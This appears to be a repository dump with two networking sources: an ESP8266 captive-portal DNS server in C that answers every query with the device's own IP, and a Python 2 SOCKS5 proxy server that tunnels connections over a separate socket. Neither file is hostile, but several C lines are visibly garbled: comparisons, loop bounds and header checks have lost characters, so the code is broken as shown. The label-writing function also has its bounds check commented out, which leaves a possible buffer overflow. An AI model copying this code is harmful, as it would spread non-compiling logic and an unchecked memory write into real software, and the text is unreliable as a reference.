"lwip/sys.h" 13 | 14 | //#include "user_config.h" 15 | 16 | /* 17 | * ---------------------------------------------------------------------------- 18 | * "THE BEER-WARE LICENSE" (Revision 42): 19 | * Jeroen Domburg wrote this file. As long as you retain 20 | * this notice you can do whatever you want with this stuff. If we meet some day, 21 | * and you think this stuff is worth it, you can buy me a beer in return. 22 | * ---------------------------------------------------------------------------- 23 | */ 24 | 25 | 26 | /* 27 | * This is a 'captive portal' DNS server: it basically replies with a fixed IP (in this case: 28 | * the one of the SoftAP interface of this ESP module) for any and all DNS queries. This can 29 | * be used to send mobile phones, tablets etc which connect to the ESP in AP mode directly to 30 | * the internal webserver. 31 | */ 32 | 33 | typedef struct __attribute__ ((packed)) { 34 | uint16_t id; 35 | uint8_t flags; 36 | uint8_t rcode; 37 | uint16_t qdcount; 38 | uint16_t ancount; 39 | uint16_t nscount; 40 | uint16_t arcount; 41 | } DnsHeader; 42 | 43 | 44 | typedef struct __attribute__ ((packed)) { 45 | uint8_t len; 46 | uint8_t data; 47 | } DnsLabel; 48 | 49 | 50 | typedef struct __attribute__ ((packed)) { 51 | //before: label 52 | uint16_t type; 53 | uint16_t class; 54 | } DnsQuestionFooter; 55 | 56 | 57 | typedef struct __attribute__ ((packed)) { 58 | //before: label 59 | uint16_t type; 60 | uint16_t class; 61 | uint32_t ttl; 62 | uint16_t rdlength; 63 | //after: rdata 64 | } DnsResourceFooter; 65 | 66 | typedef struct __attribute__ ((packed)) { 67 | uint16_t prio; 68 | uint16_t weight; 69 | } DnsUriHdr; 70 | 71 | 72 | #define FLAG_QR (1<<7) 73 | #define FLAG_AA (1<<2) 74 | #define FLAG_TC (1<<1) 75 | #define FLAG_RD (1<<0) 76 | 77 | #define QTYPE_A 1 78 | #define QTYPE_NS 2 79 | #define QTYPE_CNAME 5 80 | #define QTYPE_SOA 6 81 | #define QTYPE_WKS 11 82 | #define QTYPE_PTR 12 83 | #define QTYPE_HINFO 13 84 | #define QTYPE_MINFO 14 85 | #define QTYPE_MX 15 86 | #define QTYPE_TXT 16 87 | #define QTYPE_URI 256 88 | 89 | #define QCLASS_IN 1 90 | #define QCLASS_ANY 255 91 | #define QCLASS_URI 256 92 | 93 | #define DNS_LEN 512 94 | //Function to put unaligned 16-bit network values 95 | static void setn16(void *pp, int16_t n) { 96 | char *p=pp; 97 | *p++=(n>>8); 98 | *p++=(n&0xff); 99 | } 100 | 101 | //Function to put unaligned 32-bit network values 102 | static void setn32(void *pp, int32_t n) { 103 | char *p=pp; 104 | *p++=(n>>24)&0xff; 105 | *p++=(n>>16)&0xff; 106 | *p++=(n>>8)&0xff; 107 | *p++=(n&0xff); 108 | } 109 | 110 | 111 | static uint16_t local_ntohs(uint16_t *in) { 112 | char *p=(char*)in; 113 | return ((p[0]<<8)&0xff00)|(p[1]&0xff); 114 | } 115 | 116 | 117 | //Parses a label into a C-string containing a dotted 118 | //Returns pointer to start of next fields in packet 119 | static char* labelToStr(char *packet, char *labelPtr, int packetSz, char *res, int resMaxLen) { 120 | int i, j, k; 121 | char *endPtr=NULL; 122 | i=0; 123 | do { 124 | if ((*labelPtr&0xC0)==0) { 125 | j=*labelPtr++; //skip past length 126 | //Add separator period if there already is data in res 127 | if (ipacketSz) return NULL; 131 | if (ipacketSz) return NULL; 139 | labelPtr=&packet[offset]; 140 | } 141 | //check for out-of-bound-ness 142 | if ((labelPtr-packet)>packetSz) return NULL; 143 | } while (*labelPtr!=0); 144 | res[i]=0; //zero-terminate 145 | if (endPtr==NULL) endPtr=labelPtr+1; 146 | return endPtr; 147 | } 148 | 149 | 150 | //Converts a dotted hostname to the weird label form dns uses. 151 | static char *strToLabel(char *str, char *label, int maxLen) { 152 | char *len=label; //ptr to len byte 153 | char *p=label+1; //ptr to next label byte to be written 154 | while (1) { 155 | if (*str=='.' || *str==0) { 156 | *len=((p-len)-1); //write len of label bit 157 | len=p; //pos of len for next part 158 | p++; //data ptr is one past len 159 | if (*str==0) break; //done 160 | str++; 161 | } else { 162 | *p++=*str++; //copy byte 163 | // if ((p-label)>maxLen) return NULL; //check out of bounds 164 | } 165 | } 166 | *len=0; 167 | return p; //ptr to first free byte in resp 168 | } 169 | 170 | #define DNS_SERVER_PORT 53 171 | 172 | int32_t sock_fd; 173 | //xQueueHandle QueueStop = NULL; 174 | 175 | //Receive a DNS packet and maybe send a response back 176 | static void captdnsRecv(struct sockaddr_in *premote_addr, char *pusrdata, unsigned short length) { 177 | int i; 178 | char *buff = (char*)malloc(DNS_LEN); 179 | char *reply = (char*)malloc(DNS_LEN); 180 | char *rend=reply+length; 181 | char *p=pusrdata; 182 | DnsHeader *hdr=(DnsHeader*)p; 183 | DnsHeader *rhdr=(DnsHeader*)reply; 184 | p+=sizeof(DnsHeader); 185 | printf("DNS packet: id 0x%X flags 0x%X rcode 0x%X qcnt %d ancnt %d nscount %d arcount %d len %d\n", 186 | local_ntohs(&hdr->id), hdr->flags, hdr->rcode, local_ntohs(&hdr->qdcount), local_ntohs(&hdr->ancount), local_ntohs(&hdr->nscount), local_ntohs(&hdr->arcount), length); 187 | //Some sanity checks: 188 | if (length>512) goto finish; //Packet is longer than DNS implementation allows,512 189 | if (lengthancount || hdr->nscount || hdr->arcount) goto finish; //this is a reply, don't know what to do with it 193 | if (hdr->flags&FLAG_TC) goto finish; //truncated, can't use this 194 | //Reply is basically the request plus the needed data 195 | memcpy(reply, pusrdata, length); 196 | rhdr->flags|=FLAG_QR; 197 | for (i=0; iqdcount); i++) { 198 | //Grab the labels in the q string 199 | p=labelToStr(pusrdata, p, length, buff, DNS_LEN); 200 | if (p==NULL) goto finish; 201 | DnsQuestionFooter *qf=(DnsQuestionFooter*)p; 202 | p+=sizeof(DnsQuestionFooter); 203 | printf("DNS: Q (type 0x%X class 0x%X) for %s\n", local_ntohs(&qf->type), local_ntohs(&qf->class), buff); 204 | if (local_ntohs(&qf->type)==QTYPE_A) { 205 | //They want to know the IPv4 address of something. 206 | //Build the response. 207 | rend=strToLabel(buff, rend, DNS_LEN-(rend-reply)); //Add the label 208 | if (rend==NULL) goto finish; 209 | DnsResourceFooter *rf=(DnsResourceFooter *)rend; 210 | rend+=sizeof(DnsResourceFooter); 211 | setn16(&rf->type, QTYPE_A); 212 | setn16(&rf->class, QCLASS_IN); 213 | setn32(&rf->ttl, 0); 214 | setn16(&rf->rdlength, 4); //IPv4 addr is 4 bytes; 215 | //Grab the current IP of the softap interface 216 | struct ip_info info; 217 | sdk_wifi_get_ip_info(SOFTAP_IF, &info); 218 | *rend++=ip4_addr1(&info.ip); 219 | *rend++=ip4_addr2(&info.ip); 220 | *rend++=ip4_addr3(&info.ip); 221 | *rend++=ip4_addr4(&info.ip); 222 | setn16(&rhdr->ancount, local_ntohs(&rhdr->ancount)+1); 223 | // printf("Added A rec to resp. Resp len is %d\n", (rend-reply)); 224 | } else if (local_ntohs(&qf->type)==QTYPE_NS) { 225 | //Give ns server. Basically can be whatever we want because it'll get resolved to our IP later anyway. 226 | rend=strToLabel(buff, rend, DNS_LEN-(rend-reply)); //Add the label 227 | DnsResourceFooter *rf=(DnsResourceFooter *)rend; 228 | rend+=sizeof(DnsResourceFooter); 229 | setn16(&rf->type, QTYPE_NS); 230 | setn16(&rf->class, QCLASS_IN); 231 | setn16(&rf->ttl, 0); 232 | setn16(&rf->rdlength, 4); 233 | *rend++=2; 234 | *rend++='n'; 235 | *rend++='s'; 236 | *rend++=0; 237 | setn16(&rhdr->ancount, local_ntohs(&rhdr->ancount)+1); 238 | // printf("Added NS rec to resp. Resp len is %d\n", (rend-reply)); 239 | } else if (local_ntohs(&qf->type)==QTYPE_URI) { 240 | //Give uri to us 241 | rend=strToLabel(buff, rend, DNS_LEN-(rend-reply)); //Add the label 242 | DnsResourceFooter *rf=(DnsResourceFooter *)rend; 243 | rend+=sizeof(DnsResourceFooter); 244 | DnsUriHdr *uh=(DnsUriHdr *)rend; 245 | rend+=sizeof(DnsUriHdr); 246 | setn16(&rf->type, QTYPE_URI); 247 | setn16(&rf->class, QCLASS_URI); 248 | setn16(&rf->ttl, 0); 249 | setn16(&rf->rdlength, 4+16); 250 | setn16(&uh->prio, 10); 251 | setn16(&uh->weight, 1); 252 | memcpy(rend, "http://esp.nonet", 16); 253 | rend+=16; 254 | setn16(&rhdr->ancount, local_ntohs(&rhdr->ancount)+1); 255 | // printf("Added NS rec to resp. Resp len is %d\n", (rend-reply)); 256 | } 257 | } 258 | //Send the response 259 | sendto(sock_fd,(uint8_t*)reply, rend-reply, 0, (struct sockaddr *)premote_addr, sizeof(struct sockaddr_in)); 260 | 261 | finish: 262 | if(buff){ 263 | free(buff); 264 | buff = NULL; 265 | } 266 | if(reply){ 267 | free(reply); 268 | reply = NULL; 269 | } 270 | } 271 | 272 | /****************************************************************************** 273 | * FunctionName : user_devicefind_init 274 | * Description : the espconn struct parame init 275 | * Parameters : none 276 | * Returns : none 277 | *******************************************************************************/ 278 | void 279 | captdns_task(void *pvParameters) 280 | { 281 | struct sockaddr_in server_addr; 282 | int32_t ret; 283 | 284 | struct sockaddr_in from; 285 | socklen_t fromlen; 286 | struct ip_info ipconfig; 287 | 288 | int nNetTimeout=10000;// 10 Sec 289 | char *udp_msg = (char*)malloc(DNS_LEN); 290 | 291 | memset(&ipconfig, 0, sizeof(ipconfig)); 292 | memset(&server_addr, 0, sizeof(server_addr)); 293 | server_addr.sin_family = AF_INET; 294 | server_addr.sin_addr.s_addr = INADDR_ANY; 295 | server_addr.sin_port = htons(DNS_SERVER_PORT); 296 | server_addr.sin_len = sizeof(server_addr); 297 | 298 | do{ 299 | sock_fd = socket(AF_INET, SOCK_DGRAM, 0); 300 | if (sock_fd == -1) { 301 | printf("captdns_task failed to create sock!\n"); 302 | // vTaskDelay(1000/portTICK_RATE_MS); 303 | } 304 | }while(sock_fd == -1); 305 | 306 | do{ 307 | ret = bind(sock_fd, (struct sockaddr *)&server_addr, sizeof(server_addr)); 308 | if (ret != 0) { 309 | printf("captdns_task failed to bind sock!\n"); 310 | // vTaskDelay(1000/portTICK_RATE_MS); 311 | } 312 | }while(ret != 0); 313 | 314 | while(1){ 315 | 316 | memset(udp_msg, 0, DNS_LEN); 317 | memset(&from, 0, sizeof(from)); 318 | 319 | setsockopt(sock_fd,SOL_SOCKET,SO_RCVTIMEO,(char *)&nNetTimeout,sizeof(int)); 320 | fromlen = sizeof(struct sockaddr_in); 321 | ret = recvfrom(sock_fd, (uint8_t *)udp_msg, DNS_LEN, 0,(struct sockaddr *)&from,(socklen_t *)&fromlen); 322 | if (ret > 0) { 323 | //printf("captdns recv %d Bytes from Port %d %s\n",ret,ntohs(from.sin_port),inet_ntoa(from.sin_addr)); 324 | captdnsRecv(&from,udp_msg,ret); 325 | } 326 | 327 | // printf("captdns stack %d, heap %d\n",(int)uxTaskGetStackHighWaterMark(NULL),sdk_system_get_free_heap_size()); 328 | } 329 | 330 | if(udp_msg){ 331 | free(udp_msg); 332 | udp_msg = NULL; 333 | } 334 | close(sock_fd); 335 | vTaskDelete(NULL); 336 | 337 | } 338 | 339 | void captdnsInit(void) 340 | { 341 | printf("starting dns\n"); 342 | xTaskCreate(captdns_task, (const char *)"captdns_task", 192, NULL, 3, NULL);//1024,866 343 | } 344 | -------------------------------------------------------------------------------- /socks5.py: -------------------------------------------------------------------------------- 1 | # most part of this code comes from https://github.com/fengyouchao/pysocks/blob/master/socks5.py 2 | # under the apache licence 3 | 4 | import logging 5 | import struct 6 | from SocketServer import BaseServer, ThreadingTCPServer, StreamRequestHandler 7 | from socket import socket, AF_INET, SOCK_STREAM 8 | import thread 9 | 10 | def byte_to_int(b): 11 | """ 12 | Convert Unsigned byte to int 13 | :param b: byte value 14 | :return: int value 15 | """ 16 | return b & 0xFF 17 | 18 | 19 | def port_from_byte(b1, b2): 20 | """ 21 | 22 | :param b1: First byte of port 23 | :param b2: Second byte of port 24 | :return: Port in Int 25 | """ 26 | return byte_to_int(b1) << 8 | byte_to_int(b2) 27 | 28 | 29 | def host_from_ip(a, b, c, d): 30 | a = byte_to_int(a) 31 | b = byte_to_int(b) 32 | c = byte_to_int(c) 33 | d = byte_to_int(d) 34 | return "%d.%d.%d.%d" % (a, b, c, d) 35 | 36 | 37 | def get_command_name(value): 38 | """ 39 | Gets command name by value 40 | :param value: value of Command 41 | :return: Command Name 42 | """ 43 | if value == 1: 44 | return 'CONNECT' 45 | elif value == 2: 46 | return 'BIND' 47 | elif value == 3: 48 | return 'UDP_ASSOCIATE' 49 | else: 50 | return None 51 | 52 | 53 | def build_command_response(reply): 54 | start = b'\x05%s\x00\x01\x00\x00\x00\x00\x00\x00' 55 | return start % reply.get_byte_string() 56 | 57 | 58 | def close_session(session): 59 | session.get_client_socket().close() 60 | logging.info("Session[%s] closed" % session.get_id()) 61 | 62 | class Session(object): 63 | index = 0 64 | 65 | def __init__(self, client_socket, proxy_socket): 66 | Session.index += 1 67 | self.__id = Session.index 68 | self.__client_socket = client_socket 69 | self.__proxy_socket = proxy_socket 70 | self._attr = {} 71 | 72 | def get_id(self): 73 | return self.__id 74 | 75 | def set_attr(self, key, value): 76 | self._attr[key] = value 77 | 78 | def get_client_socket(self): 79 | return self.__client_socket 80 | 81 | def get_proxy_socket(self): 82 | return self.__proxy_socket 83 | 84 | class AddressType(object): 85 | IPV4 = 1 86 | DOMAIN_NAME = 3 87 | IPV6 = 4 88 | 89 | 90 | class SocksCommand(object): 91 | CONNECT = 1 92 | BIND = 2 93 | UDP_ASSOCIATE = 3 94 | 95 | 96 | class SocksMethod(object): 97 | NO_AUTHENTICATION_REQUIRED = 0 98 | GSS_API = 1 99 | USERNAME_PASSWORD = 2 100 | 101 | 102 | class ServerReply(object): 103 | def __init__(self, value): 104 | self.__value = value 105 | 106 | def get_byte_string(self): 107 | if self.__value == 0: 108 | return b'\x00' 109 | elif self.__value == 1: 110 | return b'\x01' 111 | elif self.__value == 2: 112 | return b'\x02' 113 | elif self.__value == 3: 114 | return b'\x03' 115 | elif self.__value == 4: 116 | return b'\x04' 117 | elif self.__value == 5: 118 | return b'\x05' 119 | elif self.__value == 6: 120 | return b'\x06' 121 | elif self.__value == 7: 122 | return b'\x07' 123 | elif self.__value == 8: 124 | return b'\x08' 125 | 126 | def get_value(self): 127 | return self.__value 128 | 129 | 130 | class ReplyType(object): 131 | SUCCEEDED = ServerReply(0) 132 | GENERAL_SOCKS_SERVER_FAILURE = ServerReply(1) 133 | CONNECTION_NOT_ALLOWED_BY_RULESET = ServerReply(2) 134 | NETWORK_UNREACHABLE = ServerReply(3) 135 | HOST_UNREACHABLE = ServerReply(4) 136 | CONNECTION_REFUSED = ServerReply(5) 137 | TTL_EXPIRED = ServerReply(6) 138 | COMMAND_NOT_SUPPORTED = ServerReply(7) 139 | ADDRESS_TYPE_NOT_SUPPORTED = ServerReply(8) 140 | 141 | 142 | class SocketPipe(object): 143 | BUFFER_SIZE = 1024 * 1024 144 | 145 | def __init__(self, socket1, socket2): 146 | self._socket1 = socket1 147 | self._socket2 = socket2 148 | self.__running = False 149 | 150 | def __transfer(self, socket1, socket2): 151 | while self.__running: 152 | try: 153 | data = socket1.recv(self.BUFFER_SIZE) 154 | if len(data) > 0: 155 | socket2.sendall(data) 156 | else: 157 | break 158 | except IOError: 159 | self.stop() 160 | self.stop() 161 | 162 | def start(self): 163 | self.__running = True 164 | thread.start_new_thread(self.__transfer, (self._socket1, self._socket2)) 165 | thread.start_new_thread(self.__transfer, (self._socket2, self._socket1)) 166 | 167 | def stop(self): 168 | self._socket1.close() 169 | self._socket2.close() 170 | self.__running = False 171 | 172 | def is_running(self): 173 | return self.__running 174 | 175 | 176 | class CommandExecutor(object): 177 | def __init__(self, remote_server_host, remote_server_port, session): 178 | self.__remote_server_host = remote_server_host 179 | self.__remote_server_port = remote_server_port 180 | self.__client = session.get_client_socket() 181 | self.__session = session 182 | 183 | def do_connect(self): 184 | """ 185 | Do SOCKS CONNECT method 186 | :return: None 187 | """ 188 | self.__session.get_proxy_socket().send('%s:%s'%self.__get_address()) 189 | #if result == 0: 190 | self.__client.send(build_command_response(ReplyType.SUCCEEDED)) 191 | socket_pipe = SocketPipe(self.__client, self.__session.get_proxy_socket()) 192 | socket_pipe.start() 193 | while socket_pipe.is_running(): 194 | pass 195 | #elif result == 60: 196 | #self.__client.send(build_command_response(ReplyType.TTL_EXPIRED)) 197 | #elif result == 61: 198 | #self.__client.send(build_command_response(ReplyType.NETWORK_UNREACHABLE)) 199 | #else: 200 | #logging.error('Connection Error:[%s] is unknown' % result) 201 | #self.__client.send(build_command_response(ReplyType.NETWORK_UNREACHABLE)) 202 | 203 | def do_bind(self): 204 | pass 205 | 206 | def do_udp_associate(self): 207 | pass 208 | 209 | def __get_address(self): 210 | return self.__remote_server_host, self.__remote_server_port 211 | 212 | 213 | class User(object): 214 | def __init__(self, username, password): 215 | self.__username = username 216 | self.__password = password 217 | 218 | def get_username(self): 219 | return self.__username 220 | 221 | def get_password(self): 222 | return self.__password 223 | 224 | def __repr__(self): 225 | return '' % (self.get_username(), self.__password) 226 | 227 | 228 | class UserManager(object): 229 | def __init__(self): 230 | self.__users = {} 231 | 232 | def add_user(self, user): 233 | self.__users[user.get_username()] = user 234 | 235 | def remove_user(self, username): 236 | if username in self.__users: 237 | del self.__users[username] 238 | 239 | def check(self, username, password): 240 | if username in self.__users and self.__users[username].get_password() == password: 241 | return True 242 | else: 243 | return False 244 | 245 | def get_user(self, username): 246 | return self.__users[username] 247 | 248 | def get_users(self): 249 | return self.__users 250 | 251 | 252 | class Socks5RequestHandler(StreamRequestHandler): 253 | def __init__(self, request, client_address, server): 254 | StreamRequestHandler.__init__(self, request, client_address, server) 255 | 256 | def handle(self): 257 | session = Session(self.connection, self.server.get_proxy_socket()) 258 | logging.info('Create session[%s] for %s:%d' % ( 259 | 1, self.client_address[0], self.client_address[1])) 260 | print self.server.allowed 261 | if self.server.allowed and self.client_address[0] not in self.server.allowed: 262 | close_session(session) 263 | return 264 | client = self.connection 265 | client.recv(1) 266 | method_num, = struct.unpack('b', client.recv(1)) 267 | methods = struct.unpack('b' * method_num, client.recv(method_num)) 268 | auth = self.server.is_auth() 269 | if methods.__contains__(SocksMethod.NO_AUTHENTICATION_REQUIRED) and not auth: 270 | client.send(b"\x05\x00") 271 | elif methods.__contains__(SocksMethod.USERNAME_PASSWORD) and auth: 272 | client.send(b"\x05\x02") 273 | if not self.__do_username_password_auth(): 274 | logging.info('Session[%d] authentication failed' % session.get_id()) 275 | close_session(session) 276 | return 277 | else: 278 | client.send(b"\x05\xFF") 279 | return 280 | version, command, reserved, address_type = struct.unpack('b' * 4, client.recv(4)) 281 | host = None 282 | port = None 283 | if address_type == AddressType.IPV4: 284 | ip_a, ip_b, ip_c, ip_d, p1, p2 = struct.unpack('b' * 6, client.recv(6)) 285 | host = host_from_ip(ip_a, ip_b, ip_c, ip_d) 286 | port = port_from_byte(p1, p2) 287 | elif address_type == AddressType.DOMAIN_NAME: 288 | host_length, = struct.unpack('b', client.recv(1)) 289 | host = client.recv(host_length) 290 | p1, p2 = struct.unpack('b' * 2, client.recv(2)) 291 | port = port_from_byte(p1, p2) 292 | else: # address type not support 293 | client.send(build_command_response(ReplyType.ADDRESS_TYPE_NOT_SUPPORTED)) 294 | 295 | command_executor = CommandExecutor(host, port, session) 296 | if command == SocksCommand.CONNECT: 297 | logging.info("Session[%s] Request connect %s:%d" % (session.get_id(), host, port)) 298 | command_executor.do_connect() 299 | close_session(session) 300 | 301 | def __do_username_password_auth(self): 302 | client = self.connection 303 | client.recv(1) 304 | length = byte_to_int(struct.unpack('b', client.recv(1))[0]) 305 | username = client.recv(length) 306 | length = byte_to_int(struct.unpack('b', client.recv(1))[0]) 307 | password = client.recv(length) 308 | user_manager = self.server.get_user_manager() 309 | if user_manager.check(username, password): 310 | client.send(b"\x01\x00") 311 | return True 312 | else: 313 | client.send(b"\x01\x01") 314 | return False 315 | 316 | 317 | class Socks5Server(ThreadingTCPServer): 318 | """ 319 | SOCKS5 proxy server 320 | """ 321 | 322 | def __init__(self, port, auth=False, user_manager=UserManager(), allowed=None): 323 | ThreadingTCPServer.__init__(self, ('', port), Socks5RequestHandler) 324 | self.__proxy_socket = None 325 | self.__port = port 326 | self.__users = {} 327 | self.__auth = auth 328 | self.__user_manager = user_manager 329 | self.__sessions = {} 330 | self.allowed = allowed 331 | 332 | def serve_forever(self, poll_interval=0.5): 333 | logging.info("Create SOCKS5 server at port %d" % self.__port) 334 | ThreadingTCPServer.serve_forever(self, poll_interval) 335 | 336 | def finish_request(self, request, client_address): 337 | BaseServer.finish_request(self, request, client_address) 338 | 339 | def is_auth(self): 340 | return self.__auth 341 | 342 | def set_auth(self, auth): 343 | self.__auth = auth 344 | 345 | def get_all_managed_session(self): 346 | return self.__sessions 347 | 348 | def get_bind_port(self): 349 | return self.__port 350 | 351 | def get_proxy_socket(self): 352 | return self.__proxy_socket 353 | 354 | def set_proxy_socket(self, proxy_socket): 355 | self.__proxy_socket = proxy_socket 356 | 357 | def get_user_manager(self): 358 | return self.__user_manager 359 | 360 | def set_user_manager(self, user_manager): 361 | self.__user_manager = user_manager --------------------------------------------------------------------------------